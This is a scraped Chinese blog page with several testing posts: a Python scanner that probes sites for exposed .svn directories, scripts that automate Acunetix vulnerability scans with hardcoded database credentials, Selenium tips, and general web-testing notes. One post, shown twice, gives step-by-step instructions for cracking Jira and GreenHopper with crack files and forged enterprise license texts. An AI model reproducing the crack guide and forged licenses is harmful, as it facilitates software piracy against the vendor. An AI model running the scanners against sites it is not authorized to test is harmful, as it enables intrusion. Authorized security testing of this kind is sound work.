<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經(jīng)轉(zhuǎn)移至github,大家請(qǐng)?jiān)L問 http://qaseven.github.io/

    svn信息泄漏探測(cè)工具(新手學(xué)python)

    快放假了,比較閑,寫了個(gè)svn信息泄漏的探測(cè)工具,嚴(yán)格意義上說和wwwscan功能差不多,判斷是否存在/.svn/等目錄,貼上代碼:
    #coding:utf-8
    import sys
    import httplib2
    if len(sys.argv)<2:
    print 'Usag:'+"svnscan.py"+" host"
    sys.exit()
    #判斷輸入url是否是http開頭
    if sys.argv[1].startswith('http://'):
    host=sys.argv[1]
    else:
    host="http://"+sys.argv[1]
    #訪問一個(gè)不存在的目錄,將返回的status和content-length做為特征
    status=''
    contentLen=''
    http=httplib2.Http()
    dirconurl=host+'/nodirinthiswebanx4dm1n/'
    dirresponse=http.request(dirconurl,'GET')
    status=dirresponse[0].status
    contentLen=dirresponse[0].get('content-length')
    #字典中保存svn的常見目錄,逐個(gè)訪問和特征status、content-length進(jìn)行比對(duì)
    f=open(r'e:\svnpath.txt','r')
    pathlist=f.readlines()
    def svnscan(subpath):
    for svnpath in pathlist:
    svnurl=host+svnpath.strip('\r\n')
    response=http.request(svnurl,'GET')
    if response[0].status!=status and response[0].get('content-length')!=contentLen:
    print "vuln:"+svnurl
    if __name__=='__main__':
    svnscan(host)
    f.close()
      svnpath.txt文件中保存的常見的svn版本控制的目錄路徑等,借鑒了某大嬸的思路,根據(jù)返回的狀態(tài)碼、content-length跟一個(gè)不存在的目錄返回的狀態(tài)碼、content-length進(jìn)行比對(duì),主要目的是確保判斷的準(zhǔn)確性,因?yàn)橛行┱军c(diǎn)可能會(huì)有404提示頁等等。
      目前只能想到的是存在svn目錄,且權(quán)限設(shè)置不嚴(yán)格的,所以這個(gè)程序應(yīng)該是不能準(zhǔn)確判斷是否存在漏洞,只能探測(cè)是否存在svn的目錄。
      不知道還有其它的辦法來確認(rèn)一個(gè)站點(diǎn)是否存在svn目錄?目錄瀏覽返回的狀態(tài)應(yīng)該也是200?還是有另外的狀態(tài)碼?

    posted @ 2014-12-23 00:02 順其自然EVO 閱讀(526) | 評(píng)論 (0)編輯 收藏

    Python實(shí)現(xiàn)Awvs自動(dòng)化掃描

     最近再做一個(gè)python的小程序,主要功能是實(shí)現(xiàn)Acuenetix Web Vulnerability Scanner的自動(dòng)化掃描,批量對(duì)一些目標(biāo)進(jìn)行掃描,然后對(duì)掃描結(jié)果寫入mysql數(shù)據(jù)庫(kù)。寫這篇文章,分享一下一些思路。
      程序主要分三個(gè)功能模塊,Url下載、批量掃描、結(jié)果入庫(kù),
      有一個(gè)另外獨(dú)立的程序,在流量鏡像服務(wù)器上進(jìn)行抓包,抓取Http協(xié)議的包,然后對(duì)包進(jìn)行篩選處理,保留一些帶有各種參數(shù)的url,然后對(duì)url進(jìn)行入庫(kù)。url下載功能主要是從mysql數(shù)據(jù)庫(kù)中下載url。
      批量掃描功能主要調(diào)用了Awvs的命令行wvs_console.exe,調(diào)研的時(shí)候先是嘗試用awvs計(jì)劃任務(wù)來實(shí)現(xiàn)批量掃描,但是發(fā)現(xiàn)在將一些awvs設(shè)置發(fā)包給計(jì)劃任務(wù)的時(shí)候會(huì)遇到各種困難,計(jì)劃任務(wù)貌似也不是一個(gè)網(wǎng)頁,采用的是XML模版,技術(shù)有限,最后沒實(shí)現(xiàn),只好放棄。
      之后發(fā)現(xiàn)Awvs支持命令行,wvs_console.exe就是主程序,有很多命令參數(shù),基本能實(shí)現(xiàn)Awvs界面操作的所有功能。批量掃描主要是讀取下載到本地的url,進(jìn)行逐一掃描。要將掃描結(jié)果保存到本地access數(shù)據(jù)庫(kù)文件,需要使用savetodatabase參數(shù)。
      Awvs會(huì)自動(dòng)將掃描結(jié)果保存到本地的access數(shù)據(jù)庫(kù)中,具體的表是Wvs_alerts,也可以設(shè)置保存到Mssql數(shù)據(jù)庫(kù)中,具體的是在Application Setting進(jìn)行設(shè)置。結(jié)果入庫(kù)模塊的功能是從access數(shù)據(jù)庫(kù)篩選出危害等級(jí)為3的漏洞,然后將它們寫入到mysql數(shù)據(jù)庫(kù)。主要用了正則表達(dá)式對(duì)request中的host,漏洞文件,get或post提交的請(qǐng)求進(jìn)行篩選拼湊,獲取到完整的漏洞測(cè)試url。
      貼上代碼,很菜,代碼各種Bug,最主要的是程序的整個(gè)流程設(shè)計(jì)存在問題,導(dǎo)致后來被大佬給否掉了,沒有考慮到重復(fù)掃描和程序異常中止的情況,導(dǎo)致我的程序只能一直運(yùn)行下去 ,否則重新運(yùn)行又會(huì)從頭對(duì)url進(jìn)行掃描。
      對(duì)此很郁悶,某天晚上下班回家想了想,覺得可以通過以下方法來解決以上兩個(gè)問題:
      Awvs掃描結(jié)果數(shù)據(jù)庫(kù)中有一個(gè)Wvs_scans表,保存的都是掃描過的url,以及掃描開始時(shí)間和結(jié)束時(shí)間。可以將當(dāng)天下載的url保存到一個(gè)list中,然后在掃描之前先將之前所有掃描過的URL查詢出來,同樣保存在list中,讀取list中的url,判斷是否在掃描過的URL list中,如果存在將之從url list中刪除掉;如果不存在則再進(jìn)行掃描。
      異常中止的話貌似只能增加系統(tǒng)計(jì)劃任務(wù),每天結(jié)束再打開,不知道如何時(shí)時(shí)監(jiān)視系統(tǒng)進(jìn)程,通過是否存在wvs的進(jìn)程來判斷。
      以上只是一個(gè)大概的程序介紹,貼上代碼,代碼可能存在一些問題,有興趣的童鞋去完善完善,大佬覺得我的效率和編碼能力有待提高,so,讓繼續(xù)學(xué)習(xí),所以沒再繼續(xù)跟進(jìn)這個(gè)項(xiàng)目。
      downurl.py 代碼:
    #coding:utf-8
    import MySQLdb
    import os,time,shutil
    import hashlib,re
    datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
    #filetype='.txt'
    #urlfilename=datanow+filetype
    #path="D:\wvscan\url\\"
    #newfile=path+urlfilename
    datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
    con=MySQLdb.Connect('10.1.1.1','root','12345678','wvsdb')
    cur=con.cursor()
    sqlstr='select url from urls where time like %s'
    values=datanow+'%'
    cur.execute(sqlstr,values)
    data=cur.fetchall()
    #將當(dāng)天的URL保存到本地url.txt文件
    f=open(r'd:\Wvscan\url.txt','a+')
    uhfile=open(r'd:\Wvscan\urlhash.txt','a+')
    line=uhfile.readlines()
    #保存之前對(duì)url進(jìn)行簡(jiǎn)單的處理,跟本地的hash文件比對(duì),確保url.txt中url不重復(fù)
    for i in range(0,len(data)):
    impurl=str(data[i][0]).split('=')[0]
    urlhash=hashlib.new('md5',impurl).hexdigest()
    urlhash=urlhash+'\n'
    if urlhash in line:
    pass
    else:
    uhfile.write(urlhash)
    newurl=str(data[i][0])+'\n'
    f.writelines(newurl)
    cur.close()
    con.close()
    抓包程序抓到的url可能重復(fù)率較高,而且都是帶參數(shù)的,保存到本地的時(shí)候截取了最前面的域名+目錄+文件部分進(jìn)行了簡(jiǎn)單的去重。Awvs可能不大適合這樣的方式,只需要將全部的域名列出來,然后逐一掃描即可,site Crawler功能會(huì)自動(dòng)爬行。
      writeinmysql.py 結(jié)果入庫(kù)模塊,代碼:
    #coding:UTF-8
    import subprocess
    import os,time,shutil,sys
    import win32com.client
    import MySQLdb
    import re,hashlib
    reload(sys)
    sys.setdefaultencoding('utf-8')
    #需要先在win服務(wù)器設(shè)置odbc源,指向access文件。實(shí)際用pyodbc模塊可能更好一些
    def writeinmysql():
    conn = win32com.client.Dispatch(r'ADODB.Connection')
    DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
    conn.Open('awvs')
    cur=conn.cursor()
    rs = win32com.client.Dispatch(r'ADODB.Recordset')
    rs.Open('[WVS_alerts]', conn, 1, 3)
    if rs.recordcount == 0:
    exit()
    #遍歷所有的結(jié)果,cmp進(jìn)行篩選危害等級(jí)為3的,也就是高危
    while not rs.eof:
    severity = str(rs('severity'))
    if cmp('3', severity):
    rs.movenext
    continue
    vultype = rs('algroup')
    vulfile=rs('affects')
    #由于mysql庫(kù)中要求的漏洞類型和access的名稱有點(diǎn)差別,所以還需要對(duì)漏洞類型和危害等級(jí)進(jìn)行二次命名,sql注入和xss為例
    xss='Cross site'
    sqlinject='injection'
    if xss in str(vultype):
    vultype='XSS'
    level='低危'
    elif sqlinject in str(vultype):
    vultype="SQL注入"
    level='高危'
    else:
    level='中危'
    #拼湊出漏洞測(cè)試url,用了正則表達(dá)式, post和get類型的request請(qǐng)求是不同的
    params = rs('parameter')
    ss = str(rs('request'))
    str1 = ss[0:4]
    if 'POST'== str1:
    requestType = 'POST'
    regex = 'POST (.*?) HTTP/1\.\d+'
    str1 = re.findall(regex, ss);
    else:
    requestType = 'GET'
    regex = 'GET (.*?) HTTP/1\.\d+'
    str1 = re.findall(regex, ss);
    regex = 'Host:(.*?)\r\n'
    host = re.findall(regex, ss);
    if host == []:
    host = ''
    else:
    host = host[0].strip()
    if str1 == []:
    str1 = ''
    else:
    str1 = str1[0]
    url =host + str1
    timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))
    status=0
    scanner='Awvs'
    comment=''
    db = MySQLdb.connect(host="10.1.1.1", user="root", passwd="12345678", db="wvsdb",charset='utf8')
    cursor = db.cursor()
    sql = 'insert into vuls(status,comment,vultype,url,host,params,level,scanner) values(%s,%s,%s,%s,%s,%s,%s,%s)'
    values =[status,comment,vultype,'http://'+url.lstrip(),host,params,level,scanner]
    #入庫(kù)的時(shí)候又進(jìn)行了去重,確保mysql庫(kù)中沒有存在該條漏洞記錄,跟本地保存的vulhash進(jìn)行比對(duì),感覺這種方法很原始。
    hashvalue=str(values[2])+str(values[4])+str(vulfile)+str(values[5])
    vulhash=hashlib.new('md5',hashvalue).hexdigest()
    vulhash=vulhash+'\n'
    file=open(r'D:\Wvscan\vulhash.txt','a+')
    if vulhash in file.readlines():
    pass
    else:
    file.write(vulhash+'\n')
    cursor.execute(sql, values)
    delsql='delete from vuls where vultype like %s or vultype like %s'
    delvaluea='Slow HTTP%'
    delvalueb='Host header%'
    delinfo=[delvaluea,delvalueb]
    cursor.execute(delsql,delinfo)
    db.commit()
    rs.movenext
    rs.close
    conn.close
    cursor.close()
    db.close()
    if __name_=='__main__':
    writeinmysql()
    time.sleep(10)
    #備份每天的掃描數(shù)據(jù)庫(kù),用原始數(shù)據(jù)庫(kù)替換,方便第二天繼續(xù)保存。
    datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
    filetype='.mdb'
    urlfilename=datanow+filetype
    path="D:\wvscan\databak\\"
    databakfile=path+urlfilename
    shutil.copyfile(r'D:\Wvscan\data\vulnscanresults.mdb',databakfile)
    shutil.copyfile(r'D:\Wvscan\vulnscanresults.mdb',r'D:\Wvscan\data\vulnscanresults.mdb')
      startwvs.py,掃描模塊,這個(gè)模塊問題較多,就是之前提到的,沒有考慮重復(fù)掃描和異常終止的問題,貼上代碼:
    #coding:utf-8
    import subprocess
    import os,time,shutil
    file=open(r"D:\Wvscan\url.txt","r")
    def wvsscan():
    for readline in file:
    url=readline.strip('\n')
    cmd=r"d:\Wvs\wvs_console.exe /Scan "+url+r" /SavetoDatabase"
    doscan=subprocess.Popen(cmd)
    doscan.wait()
    if __name__=='__main__':
    wvsscan()
    English »
     
    Text-to-speech function is limited to 100 characters

    posted @ 2014-12-23 00:01 順其自然EVO 閱讀(1183) | 評(píng)論 (0)編輯 收藏

    Selenium中常用的xpath

     selenium大部分的方法參數(shù)都是java.lang.String locator,假如我們想傳入xptah表達(dá)式,可以在表達(dá)式的開頭加上"xpath=",也可以不加.如下面的兩個(gè)效果是一樣的.
      selenium.getAttribute("http://tr/input/@type")  === selenium.getAttribute("xpath=//tr/input/@type")
      selenium中有一個(gè)比較特別而非常有用的方法
      java.lang.Number getXpathCount(java.lang.String xpath)
      通過此方法我們可以得到所有匹配xpath的數(shù)量,調(diào)用此方法,傳入的表達(dá)式就不能以"xpath="
      開頭.
      另外需要知道的是:當(dāng)xpath表達(dá)式匹配到的內(nèi)容有多個(gè)時(shí),seleium默認(rèn)的是取第一個(gè),假如,我們想
      自己指定第幾個(gè),可以用"xpath=(xpath表達(dá)式)[n]"來獲取,例如:
      selenium.getText("http://table[@id='order']//td[@contains(text(),'刪除')]");
      在id為order的table下匹配第一個(gè)包含刪除的td.
      selenium.getText("xpath=(//table[@id='order']//td[@contains(text(),'刪除')])[2]");
      匹配第二個(gè)包含刪除的td.
      在調(diào)試xpath的時(shí)候,我們可以下個(gè)firefox的xpath插件,這樣可以在頁面上通過右鍵開啟xpath插件.
      然后隨時(shí)可以檢驗(yàn)xpath所能匹配的內(nèi)容,非常方便.假如通過插件測(cè)試的xpath表達(dá)式可以匹配
      到預(yù)期的內(nèi)容,但是放到selenium中跑卻拿不到,那么最有可能出現(xiàn)的問題是:在你調(diào)用seleium方法
      時(shí),傳入的xpath表達(dá)式可能多加了或者是少加了"xpath=".
      以下為幾個(gè)常用的xpath:
      1.selenium.getAttribute("http://tr/input/@type")
      2.selenium.isElementPresent("http://span[@id='submit' and @class='size:12']");
      3.selenium.isElementPresent("http://tr[contains(@sytle,'display:none')]");
      4.selenium.isElementPresent("http://*[contains(name(),'a')]"); //這個(gè)等價(jià)于 //a
      5.selenium.isElementPresent("http://tr[contains(text(),'金錢')]");

    posted @ 2014-12-23 00:00 順其自然EVO 閱讀(1364) | 評(píng)論 (0)編輯 收藏

    Selenium WebDriver之JavaScript

    WebDriver提供了方法來同步/異步執(zhí)行JavaScript代碼,這是因?yàn)镴avaScript可以完成一些WebDriver本身所不能完成的功能,從而讓W(xué)ebDriver更加靈活和強(qiáng)大。
      本文中所提到的都是JAVA代碼。
      1. 在WebDriver中如何執(zhí)行JavaScript代碼
      JavaScript代碼總是以字符串的形式傳遞給WebDriver,不管你的JavaScript代碼是一行還是多行,WebDriver都可以用executeScript方法來執(zhí)行字符串中包含的所有JavaScript代碼。
      WebDriver driver = new FirefoxDriver();
      JavascriptExecutor driver_js=(JavascriptExecutor)driver;
      String js = "alert(\"Hello World!\");";
      driver_js.executeScript( js);
      2.同步執(zhí)行JavaScript和異步執(zhí)行JavaScript的區(qū)別
      同步執(zhí)行:driver_js.executeScript( js)
      如果JavaScript代碼的執(zhí)行時(shí)間較短,可以選擇同步執(zhí)行,因?yàn)閃ebdriver會(huì)等待同步執(zhí)行的結(jié)果,然后再運(yùn)行其它的代碼。
      異步執(zhí)行:driver_js.executeAsyncScript(js)
      如果JavaScript代碼的執(zhí)行時(shí)間較長(zhǎng),可以選擇異步執(zhí)行,因?yàn)閃ebdriver不會(huì)等待其執(zhí)行結(jié)果,而是直接執(zhí)行下面的代碼。
      3. 用Javascript實(shí)現(xiàn)等待頁面加載的功能
      public void waitForPageLoad() {
      While(driver_js.executeScript("return document.readyState" ).equals ("complete")){
      Thread.sleep(500);
      }
      }
      這樣做的缺點(diǎn)是,沒有設(shè)定timeout時(shí)間,如果頁面加載一直不能完成的話,那么代碼也會(huì)一直等待。當(dāng)然你也可以為while循環(huán)設(shè)定循環(huán)次數(shù),或者直接采用下面的代碼:
    protected Function<WebDriver, Boolean> isPageLoaded() {
    return new Function<WebDriver, Boolean>() {
    @Override
    public Boolean apply(WebDriver driver) {
    return ((JavascriptExecutor) driver).executeScript("returndocument.readyState").equals("complete");
    }
    };
    }
    public voidwaitForPageLoad() {
    WebDriverWait wait = new WebDriverWait(driver, 30);
    wait.until(isPageLoaded());
    }
      需要指出的是單純的JavaScript是很難實(shí)現(xiàn)等待功能的,因?yàn)镴avaScript的執(zhí)行是不阻塞主線程的,你可以為指定代碼的執(zhí)行設(shè)定等待時(shí)間,但是卻無法達(dá)到為其它WebDriver代碼設(shè)定等待時(shí)間的目的。有興趣的同學(xué)可以研究一下。
      4. Javascrpt模擬點(diǎn)擊操作,并觸發(fā)相應(yīng)事件
      String js ="$(\"button.ui-multiselect.ui-widget\").trigger(\"focus\");"
      +"$(\"button.ui-multiselect.ui-widget\").click();"
      +"$(\"button.ui-multiselect.ui-widget\").trigger(\"open\");";
      ((JavascriptExecutor)driver).executeScript( js);
      5. Javacript scrollbar的操作
      String js ="var obj = document.getElementsById(\“div_scroll\”);”
      +”obj.scrollTop= obj.scrollHeight/2;”
      ((JavascriptExecutor)driver).executeScript(js);

    6. Javascript重寫confirm
      String js ="window.confirm = function(msg){ return true;}”
      ((JavascriptExecutor)driver).executeScript( js);
      通過執(zhí)行上面的js,該頁面上所有的confirm將都不再?gòu)棾觥?/div>
      7. 動(dòng)態(tài)載入jquery
      并不是所有的網(wǎng)頁都引入了Jquery,如果我們要在這些網(wǎng)頁上執(zhí)行Jquery代碼,就必須動(dòng)態(tài)加載Jquery source文件
      driver.get("file:///C:/test.html");
      boolean flag =(boolean)(driver_js).executeScript("return typeof jQuery =='undefined'");
      if (flag)
      {
      driver_js.executeScript("var jq =document.createElement('script');"
      + "jq.type ='text/javascript'; "
      +"jq.src ='http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js';"
      +"document.getElementsByTagName('head')[0].appendChild(jq);");
      Thread.sleep(3000);
      }
      waiter.waitForPageLoad();
      driver_js.executeScript("$(\"input#testid\").val(\"test\");");
      8. 判斷元素是否存在
      可以通過下面的辦法來判斷頁面元素是否存在,但是缺點(diǎn)就是如果元素不存在,必須在拋出exception后才能知道,所以會(huì)消耗一定的時(shí)間(需要超時(shí)后才會(huì)拋出異常)。
    boolean ElementExist(By Locator){
    try{
    driver.findElement(Locator);
    return true;
    }
    catch(org.openqa.selenium.NoSuchElementException ex)
    {
    return false;
    }
    }
      也許我們可以在JavaScript中判斷頁面元素是否存在,然后再將結(jié)果返回給Webdriver的Java代碼。
      頁面元素
      String js =" if(document.getElementById("XXX")){ return true; } else{ return false; }”
      String result = ((JavascriptExecutor)driver).executeScript(js);
      或者
      表單元素
      String js =" if(document.theForm.###){return true; } else{ return false; }”
      String result = ((JavascriptExecutor)driver).executeScript(js);
      9. 結(jié)尾
      JavaScript在WebDriver中還可以做很多事情,但這還不是全部。比如,我們是否可以編寫代碼來監(jiān)視在整個(gè)Webdrvier測(cè)試代碼運(yùn)行過程是否產(chǎn)生過JavaScriptError呢,答案是肯定的,有興趣的同學(xué)可以深入研究一下。

    posted @ 2014-12-22 23:57 順其自然EVO 閱讀(615) | 評(píng)論 (0)編輯 收藏

    Jira5.0+greenhopper6.1.6的安裝

    字體:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推薦標(biāo)簽: 軟件測(cè)試工具 JIRA

      這種文章其實(shí)不太想寫,更愿意找一篇然后添加到自己的有道筆記里面收藏,但網(wǎng)上找的真心讓我上火。
      不過不得不說一下,中國(guó)人真的很牛B,這軟件啊,只要咱們想用,就肯定有人破解。對(duì)于做程序員的我來說,這是不是一種悲哀呢?用一個(gè)笑話來開題吧:
      A:你們能不能不要這樣?支持一下正版好不好?程序員也是要養(yǎng)家的
      B:程序員哪來的家?
      開始正題:
      首先jira就裝5.0的吧,比這個(gè)版本高的通過網(wǎng)上找的方法也是可以破解的,但是插件管理是不可以用的。
      其實(shí)上火的就在這個(gè)地方,最剛開始是要搭一個(gè)jira+wiki。找了一個(gè)看到j(luò)ira5.1.5+confluence5.3安裝、破解、漢化一條龍服務(wù)的文檔,于是屁顛屁顛的開始了。可是裝上之后,怎么也找不到Jira中文代理上面看到的一種面板:Agile,后來自己點(diǎn)著點(diǎn)著,發(fā)現(xiàn)這是一個(gè)插件就是題目中提到的greenhopper。
      于是就開始各種安裝啊,但是插件管理頁面上面總有一行紅字,意思就是說授權(quán)信息不對(duì)之類的。于是就開始找各種版本。
      吐糟的話就不多說了,下面開始正題了:
      Jira安裝(簡(jiǎn)單說明):
      1.下載5.0windows安裝版
      2.安裝,下一步到需要輸入授權(quán)的地方
      3.關(guān)閉Jira服務(wù)(開始—>程序—>Jira—>Stop…)
      Jira破解:
      1.下載破解文件
      2.將文件夾直接與Jira_home\atlassian-jira下的Web-Inf合并
      3.開始Jira服務(wù)(開始—>程序—>Jira—>Start…)
      4.Jira license如下,其實(shí)ServerID需要改成你需要輸入授權(quán)信息頁上面顯示的那個(gè)ServerID,別的維持原狀就行。
    Description=JIRA\: longmaster
    CreationDate=2010-02-22
    ContactName=zzhcool@126.com
    jira.LicenseEdition=ENTERPRISE
    ContactEMail=zzhcool@126.com
    Evaluation=false
    jira.LicenseTypeName=COMMERCIAL
    jira.active=true
    licenseVersion=2
    MaintenanceExpiryDate=2099-10-24
    Organisation=zzh
    jira.NumberOfUsers=-1
    ServerID=B25B-ZTQQ-8QU3-KFBS
    LicenseID=LID
    LicenseExpiryDate=2099-10-24
    PurchaseDate=2010-10-25

    Jira漢化:
      1.下載漢化包
      2.將漢化包復(fù)制到:安裝目錄\Application Data\JIRA\plugins\installed-plugins
      3.關(guān)閉Jira服務(wù),再開啟Jira服務(wù)就行了
      GreenHopper安裝和破解:
      1.下載GreenHopper
      2.用管理員登錄Jira
      3.點(diǎn)擊右上角的"Administrator"
      4.選擇插件(Plugins)
      5.點(diǎn)擊install
      6.上傳插件
      7.點(diǎn)擊Manage Existing
      8.找到GreenHopper,點(diǎn)config
      9.輸入如下內(nèi)容,點(diǎn)add
    Description=GreenHopper for JIRA 4\: longmaster
    CreationDate=2010-02-21
    ContactName=zzhcool@126.com
    greenhopper.NumberOfUsers=-1
    greenhopper.LicenseTypeName=COMMERCIAL
    ContactEMail=zzhcool@126.com
    Evaluation=false
    greenhopper.LicenseEdition=ENTERPRISE
    licenseVersion=2
    MaintenanceExpiryDate=2099-10-24
    Organisation=zzhcool
    greenhopper.active=true
    LicenseID=LID
    LicenseExpiryDate=2099-10-24
    PurchaseDate=2010-10-25
      10.漢化的方式與jira的漢化方式一樣,暫時(shí)還沒有漢化的想法(我的jira也沒有漢化),可以自己去網(wǎng)上
      總結(jié):
      不論你是否會(huì)用這個(gè)做為項(xiàng)目管理軟件,都應(yīng)該看一下jira和confluence的軟件設(shè)計(jì),名門出身就是不一樣~~~使用文檔過兩天項(xiàng)目不太緊的時(shí)候再來看怎樣用吧,最近需要先Coding。

    posted @ 2014-12-22 23:56 順其自然EVO 閱讀(366) | 評(píng)論 (0)編輯 收藏

    Jira5.0+greenhopper6.1.6的安裝

    字體:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推薦標(biāo)簽: 軟件測(cè)試工具 JIRA

      這種文章其實(shí)不太想寫,更愿意找一篇然后添加到自己的有道筆記里面收藏,但網(wǎng)上找的真心讓我上火。
      不過不得不說一下,中國(guó)人真的很牛B,這軟件啊,只要咱們想用,就肯定有人破解。對(duì)于做程序員的我來說,這是不是一種悲哀呢?用一個(gè)笑話來開題吧:
      A:你們能不能不要這樣?支持一下正版好不好?程序員也是要養(yǎng)家的
      B:程序員哪來的家?
      開始正題:
      首先jira就裝5.0的吧,比這個(gè)版本高的通過網(wǎng)上找的方法也是可以破解的,但是插件管理是不可以用的。
      其實(shí)上火的就在這個(gè)地方,最剛開始是要搭一個(gè)jira+wiki。找了一個(gè)看到j(luò)ira5.1.5+confluence5.3安裝、破解、漢化一條龍服務(wù)的文檔,于是屁顛屁顛的開始了。可是裝上之后,怎么也找不到Jira中文代理上面看到的一種面板:Agile,后來自己點(diǎn)著點(diǎn)著,發(fā)現(xiàn)這是一個(gè)插件就是題目中提到的greenhopper。
      于是就開始各種安裝啊,但是插件管理頁面上面總有一行紅字,意思就是說授權(quán)信息不對(duì)之類的。于是就開始找各種版本。
      吐糟的話就不多說了,下面開始正題了:
      Jira安裝(簡(jiǎn)單說明):
      1.下載5.0windows安裝版
      2.安裝,下一步到需要輸入授權(quán)的地方
      3.關(guān)閉Jira服務(wù)(開始—>程序—>Jira—>Stop…)
      Jira破解:
      1.下載破解文件
      2.將文件夾直接與Jira_home\atlassian-jira下的Web-Inf合并
      3.開始Jira服務(wù)(開始—>程序—>Jira—>Start…)
      4.Jira license如下,其實(shí)ServerID需要改成你需要輸入授權(quán)信息頁上面顯示的那個(gè)ServerID,別的維持原狀就行。
    Description=JIRA\: longmaster
    CreationDate=2010-02-22
    ContactName=zzhcool@126.com
    jira.LicenseEdition=ENTERPRISE
    ContactEMail=zzhcool@126.com
    Evaluation=false
    jira.LicenseTypeName=COMMERCIAL
    jira.active=true
    licenseVersion=2
    MaintenanceExpiryDate=2099-10-24
    Organisation=zzh
    jira.NumberOfUsers=-1
    ServerID=B25B-ZTQQ-8QU3-KFBS
    LicenseID=LID
    LicenseExpiryDate=2099-10-24
    PurchaseDate=2010-10-25

    Jira漢化:
      1.下載漢化包
      2.將漢化包復(fù)制到:安裝目錄\Application Data\JIRA\plugins\installed-plugins
      3.關(guān)閉Jira服務(wù),再開啟Jira服務(wù)就行了
      GreenHopper安裝和破解:
      1.下載GreenHopper
      2.用管理員登錄Jira
      3.點(diǎn)擊右上角的"Administrator"
      4.選擇插件(Plugins)
      5.點(diǎn)擊install
      6.上傳插件
      7.點(diǎn)擊Manage Existing
      8.找到GreenHopper,點(diǎn)config
      9.輸入如下內(nèi)容,點(diǎn)add
    Description=GreenHopper for JIRA 4\: longmaster
    CreationDate=2010-02-21
    ContactName=zzhcool@126.com
    greenhopper.NumberOfUsers=-1
    greenhopper.LicenseTypeName=COMMERCIAL
    ContactEMail=zzhcool@126.com
    Evaluation=false
    greenhopper.LicenseEdition=ENTERPRISE
    licenseVersion=2
    MaintenanceExpiryDate=2099-10-24
    Organisation=zzhcool
    greenhopper.active=true
    LicenseID=LID
    LicenseExpiryDate=2099-10-24
    PurchaseDate=2010-10-25
      10.漢化的方式與jira的漢化方式一樣,暫時(shí)還沒有漢化的想法(我的jira也沒有漢化),可以自己去網(wǎng)上
      總結(jié):
      不論你是否會(huì)用這個(gè)做為項(xiàng)目管理軟件,都應(yīng)該看一下jira和confluence的軟件設(shè)計(jì),名門出身就是不一樣~~~使用文檔過兩天項(xiàng)目不太緊的時(shí)候再來看怎樣用吧,最近需要先Coding。

    posted @ 2014-12-22 23:55 順其自然EVO 閱讀(263) | 評(píng)論 (0)編輯 收藏

    測(cè)試Web應(yīng)用程序的基本要素

      今天,每個(gè)人都依賴用于商業(yè),教育和交易目的各類網(wǎng)站。網(wǎng)站涉及到互聯(lián)網(wǎng)。人們普遍認(rèn)為,現(xiàn)如今樣樣工作都離不開互聯(lián)網(wǎng)。不同類型的用戶連接到網(wǎng)站上為了獲取所需要的不同類型的信息。因此,網(wǎng)站應(yīng)該根據(jù)用戶的不同要求作出響應(yīng)。與此同時(shí),網(wǎng)站的正確的響應(yīng)已經(jīng)成為對(duì)于企業(yè)或組織而言至關(guān)重要的成功因素,因此,需要對(duì)其進(jìn)行應(yīng)徹底和頻繁的測(cè)試
      在這里,我們將討論通過各種方法來測(cè)試一個(gè)網(wǎng)站。然而,測(cè)試一個(gè)網(wǎng)站并不是一件容易的事,因?yàn)槲覀儾粌H需要測(cè)試客戶端還需要測(cè)試服務(wù)器端。通過這些方法,我們完全可以將網(wǎng)站測(cè)試到只存在最少數(shù)量的錯(cuò)誤。
      網(wǎng)絡(luò)測(cè)試介紹:
      系統(tǒng)的客戶端是由瀏覽器顯示的,它通過Internet來連接網(wǎng)站的服務(wù)器.所有網(wǎng)絡(luò)應(yīng)用的核心都是存儲(chǔ)動(dòng)態(tài)內(nèi)容的關(guān)系數(shù)據(jù)庫(kù)。事務(wù)服務(wù)器控制了數(shù)據(jù)庫(kù)與其他服務(wù)器(通常被稱為“應(yīng)用服務(wù)器”)之間的的交互。管理功能負(fù)責(zé)處理數(shù)據(jù)更新和數(shù)據(jù)庫(kù)管理。
      Web應(yīng)用程序的廣泛架構(gòu):
      根據(jù)上述Web應(yīng)用的架構(gòu),很明顯,我們需要進(jìn)行以下測(cè)試以確保web應(yīng)用的適用性。
      1)服務(wù)器的預(yù)期負(fù)載如何,并且在該負(fù)載下服務(wù)器需要有什么樣的性能。這可以包括服務(wù)器的響應(yīng)時(shí)間以及數(shù)據(jù)庫(kù)查詢響應(yīng)時(shí)間。
      2)哪些瀏覽器將被使用?
      3)它們有怎樣的連接速度?
      4)它們是組織內(nèi)部的(因此具有高連接速度和相似的瀏覽器)或因特網(wǎng)范圍的(因而有各種各樣的連接速度和不同的瀏覽器類型)?
      5)預(yù)計(jì)客戶端有怎樣的性能(例如,頁面應(yīng)該多快出現(xiàn),動(dòng)畫,小程序等多快可以加載并運(yùn)行)?
      對(duì)Web應(yīng)用程序的開發(fā)生命周期進(jìn)行描述時(shí)可能有許多專有名詞,包括螺旋生命周期或迭代生命周期等等。用更批判的方式來描述最常見的做法是將其描述為類似軟件開發(fā)初期軟件工程技術(shù)引入之前的非結(jié)構(gòu)化開發(fā)。在“維護(hù)階段”往往充滿了增加錯(cuò)失的功能和解決存在的問題。
      我們需要準(zhǔn)備回答以下問題:
      1)是否允許存在用于服務(wù)器和內(nèi)容維護(hù)/升級(jí)的停機(jī)時(shí)間?可以有多久?
      2)要求有什么樣的安全防護(hù)(防火墻,加密,密碼等),它應(yīng)該做到什么?怎樣才可以對(duì)其進(jìn)行測(cè)試?
      3)互聯(lián)網(wǎng)連接是否可靠?并且對(duì)備份系統(tǒng)或冗余的連接要求和測(cè)試有何影響?
      4)需要什么樣的流程來管理更新網(wǎng)站的內(nèi)容,并且對(duì)于維護(hù),跟蹤,控制頁面內(nèi)容,圖片,鏈接等有何要求?
      5)對(duì)于整個(gè)網(wǎng)站或部分網(wǎng)站來說是否有任何頁面的外觀和圖片的標(biāo)準(zhǔn)或要求?
      6)內(nèi)部和外部的鏈接將如何被驗(yàn)證和更新?多頻繁?
      7)將有多少次用戶登錄,是否需要測(cè)試?
